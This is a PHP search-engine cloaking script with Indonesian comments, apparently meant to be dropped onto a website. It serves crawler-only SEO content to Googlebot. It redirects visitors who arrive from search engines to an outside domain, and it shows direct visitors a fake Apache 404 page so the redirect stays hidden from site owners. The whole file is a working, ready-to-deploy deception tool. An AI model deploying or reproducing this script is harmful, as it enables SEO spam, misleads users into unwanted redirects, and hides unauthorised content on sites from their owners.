Elep

<?php
/**
 * Simple Cloaking Script
 * Use at your own risk
 */

// ===========================
// CONFIGURATION
// ===========================
$config = [
    'redirect_url' => 'https://happynewyear2.com/', // URL tujuan redirect
    'content_file' => 'content.html', // File HTML untuk Googlebot
    'domain' => $_SERVER['HTTP_HOST']
];

// ===========================
// HELPER FUNCTIONS
// ===========================

function getUserAgent() {
    return $_SERVER['HTTP_USER_AGENT'] ?? '';
}

function getReferer() {
    return $_SERVER['HTTP_REFERER'] ?? '';
}

// Check if visitor is Googlebot (basic check)
function isGooglebot() {
    $userAgent = strtolower(getUserAgent());
    $googlebots = [
        'googlebot',
        'google-inspectiontool',
        'googlebot-image',
        'googlebot-news',
        'googlebot-video',
        'mediapartners-google',
        'adsbot-google',
        'apis-google'
    ];
    
    foreach ($googlebots as $bot) {
        if (strpos($userAgent, $bot) !== false) {
            return true;
        }
    }
    return false;
}

// Verify Googlebot dengan reverse DNS (optional - lebih akurat)
function verifyGooglebot() {
    $ip = getClientIP();
    
    // Skip verification for localhost
    if ($ip === '127.0.0.1' || $ip === '::1') {
        return false;
    }
    
    // Reverse DNS lookup
    $hostname = gethostbyaddr($ip);
    
    // Check if hostname ends with googlebot.com or google.com
    if (preg_match('/\.(googlebot|google)\.com$/i', $hostname)) {
        // Forward DNS lookup untuk verifikasi
        $resolved_ip = gethostbyname($hostname);
        return $resolved_ip === $ip;
    }
    
    return false;
}

// Check if visitor from search engine
function isFromSearchEngine() {
    $referer = strtolower(getReferer());
    $searchEngines = [
        'google.com',
        'google.co',
        'bing.com',
        'yahoo.com',
        'duckduckgo.com',
        'baidu.com',
        'yandex.'
    ];
    
    foreach ($searchEngines as $engine) {
        if (strpos($referer, $engine) !== false) {
            return true;
        }
    }
    return false;
}

// Check if JavaScript is disabled (dari user agent)
function isNoJSBot() {
    $userAgent = strtolower(getUserAgent());
    // Bot yang biasanya tidak execute JavaScript
    $noJsBots = [
        'curl',
        'wget',
        'python',
        'scrapy',
        'httpclient',
        'libwww',
        'lynx',
        'w3m'
    ];
    
    foreach ($noJsBots as $bot) {
        if (strpos($userAgent, $bot) !== false) {
            return true;
        }
    }
    return false;
}

// Generate robots.txt dinamis
function generateRobotsTxt() {
    header('Content-Type: text/plain');
    $domain = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'];
    
    echo "User-agent: *\n";
    echo "Allow: /\n\n";
    
    // Generate multiple sitemaps
    for ($i = 1; $i <= 10; $i++) {
        echo "Sitemap: $domain/sitemap_$i.xml\n";
    }
    exit;
}

// Generate sitemap.xml dinamis
function generateSitemap() {
    header('Content-Type: application/xml');
    $domain = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'];
    
    echo '<?xml version="1.0" encoding="UTF-8"?>';
    echo '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
    
    // Generate beberapa URL
    $paths = ['/', '/about', '/services', '/contact', '/products'];
    foreach ($paths as $path) {
        echo '<url>';
        echo "<loc>$domain$path</loc>";
        echo '<lastmod>' . date('Y-m-d') . '</lastmod>';
        echo '<changefreq>daily</changefreq>';
        echo '<priority>0.8</priority>';
        echo '</url>';
    }
    
    echo '</urlset>';
    exit;
}

// Simple caching untuk Googlebot
function getCacheFilename() {
    $path = $_SERVER['REQUEST_URI'];
    $cacheKey = md5($path);
    $cacheDir = __DIR__ . '/cache';
    
    if (!is_dir($cacheDir)) {
        mkdir($cacheDir, 0755, true);
    }
    
    return "$cacheDir/$cacheKey.cache";
}

function getCache() {
    $cacheFile = getCacheFilename();
    $cacheTime = 3600; // 1 jam
    
    if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $cacheTime) {
        return file_get_contents($cacheFile);
    }
    return false;
}

function saveCache($content) {
    $cacheFile = getCacheFilename();
    file_put_contents($cacheFile, $content);
}

// ===========================
// MAIN LOGIC
// ===========================

// Handle robots.txt
if (strpos($_SERVER['REQUEST_URI'], '/robots.txt') !== false) {
    generateRobotsTxt();
}

// Handle sitemap
if (preg_match('/\/sitemap(_\d+)?\.xml/', $_SERVER['REQUEST_URI'])) {
    generateSitemap();
}

// CASE 1: User biasa akses langsung (bukan dari search engine, bukan bot)
if (!isFromSearchEngine() && !isGooglebot() && !isNoJSBot()) {
    // Tampilkan error 404 atau 403 (cloaking)
    http_response_code(404);
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>404 Not Found</title>
    </head>
    <body>
        <h1>Not Found</h1>
        <p>The requested URL was not found on this server.</p>
        <hr>
        <address>Apache/2.4.41 (Ubuntu) Server at <?= htmlspecialchars($config['domain']) ?> Port 80</address>
    </body>
    </html>
    <?php
    exit;
}

// CASE 2: User dari search engine ATAU pakai user agent Google tapi bukan Googlebot asli
if ((isFromSearchEngine() || (strpos(strtolower(getUserAgent()), 'google') !== false)) && !isGooglebot()) {
    // Redirect ke URL target
    header("HTTP/1.1 301 Moved Permanently");
    header("Location: " . $config['redirect_url']);
    exit;
}

// CASE 3: User disable JavaScript dengan Google user agent (tapi bukan Googlebot asli)
if (isNoJSBot() && strpos(strtolower(getUserAgent()), 'google') !== false && !isGooglebot()) {
    // Redirect juga
    header("HTTP/1.1 301 Moved Permanently");
    header("Location: " . $config['redirect_url']);
    exit;
}

// CASE 4: Googlebot ASLI - kasih konten real
if (isGooglebot()) {
    // Optional: Verify dengan DNS (lebih secure tapi lebih lambat)
    // if (!verifyGooglebot()) {
    //     header("Location: " . $config['redirect_url']);
    //     exit;
    // }
    
    // Check cache dulu
    $cachedContent = getCache();
    if ($cachedContent) {
        echo $cachedContent;
        exit;
    }
    
    // Load konten dari file HTML
    if (file_exists($config['content_file'])) {
        $content = file_get_contents($config['content_file']);
        
        // Replace placeholders dinamis
        $currentUrl = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
        $content = str_replace('{{CURRENT_URL}}', $currentUrl, $content);
        $content = str_replace('{{DOMAIN}}', $config['domain'], $content);
        $content = str_replace('{{DATE}}', date('Y-m-d'), $content);
        $content = str_replace('{{DATETIME}}', date('Y-m-d H:i:s'), $content);
        
        // Add meta tags untuk SEO
        $metaTags = '
        <meta name="robots" content="index, follow, max-snippet:-1, max-image-preview:large">
        <meta property="og:url" content="' . $currentUrl . '">
        <meta property="og:site_name" content="' . $config['domain'] . '">
        <link rel="canonical" href="' . $currentUrl . '">
        ';
        
        $content = str_replace('</head>', $metaTags . '</head>', $content);
        
        // Save to cache
        saveCache($content);
        
        // Output
        echo $content;
    } else {
        // Default content jika file tidak ada
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Welcome to <?= htmlspecialchars($config['domain']) ?></title>
            <meta name="description" content="Quality content and services">
            <meta name="robots" content="index, follow">
        </head>
        <body>
            <h1>Welcome to Our Website</h1>
            <article>
                <h2>Quality Content</h2>
                <p>This is high-quality content optimized for search engines.</p>
                <p>We provide valuable information and services to our visitors.</p>
                <p>Last updated: <?= date('Y-m-d H:i:s') ?></p>
            </article>
            
            <script type="application/ld+json">
            {
                "@context": "https://schema.org",
                "@type": "WebSite",
                "name": "<?= htmlspecialchars($config['domain']) ?>",
                "url": "<?= htmlspecialchars($currentUrl) ?>"
            }
            </script>
        </body>
        </html>
        <?php
    }
    exit;
}

// DEFAULT: Jika tidak masuk case manapun, redirect
header("Location: " . $config['redirect_url']);
exit;
?>